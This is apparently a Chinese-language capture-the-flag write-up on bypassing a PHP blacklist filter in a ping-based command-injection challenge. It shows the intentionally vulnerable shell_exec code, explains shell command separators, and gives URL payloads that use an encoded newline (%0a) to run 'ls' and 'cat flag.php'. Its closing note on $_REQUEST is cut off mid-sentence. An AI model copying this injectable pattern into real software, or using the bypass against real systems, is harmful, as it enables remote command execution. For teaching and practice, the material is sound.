题目代码
<?php
if(isset($_REQUEST[ 'ip' ])) {
$target = trim($_REQUEST[ 'ip' ]);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 4 ' . $target );
echo $target;
echo "<pre>{$cmd}</pre>";
}
show_source(__FILE__);
本题目代码和DVWA中的命令执行很像
分析以下代码发现,通过$_REQUEST[]方法
传入一个参数ip,如果含有$substitutions数组中的符号,那么符号就会被替换为空,也就起到了过滤字符的作用,数组中的符号是常见的命令执行分割符。把分隔符破坏了,也就只能执行ping的命令,起不到执行我们自己命令的作用。
在这里要明白两个知识点:
-
命令执行分隔符:
换行符 %0a
回车符 %0d
管道符 |
连续指令 ;
后台进程 &
逻辑 || && -
%0a(换行符)如何起到命令执行分割符的效果的
连续指令,PHP它也是以分号来做换一行一行结束的。那么在shell中也是用这样去使用的。我用把(%0a)换成一个分号的时候,一样是能够去实现执行的,就是这样一个效果,分号的作用就是说它会忽视掉两者之间的关系,就无论你上一条什么状态,就是你执行完了,或者你报错了,然后就执行下一句一句就是两者互不影响。
明白了上面的两点,接下来的任务就是在过滤字符之外在寻找一个命令执行分隔符,那么就找到了%0a
payload:
http://XXXX:83/index.php?ip=127.0.0.1%0als
http://XXXX:83/index.php?ip=127.0.0.1%0acat flag.php
经过%0a分隔,就可以成功执行其他的命令了
相关知识点:
$_REQUEST、$_POST、$_GET
的区别和联系浅析?
$_REQUEST
— HTTP Request 变量,
默认情况下包含了$_GET
,$_POST
和 $_COOKIE
的数组。它的缺点是速度比较慢。
$_REQUEST["参数"]
具用$_POST["参数"]
和$_GET["参数"]
的功能,但是
_REQUEST数组[“参数”]`获得。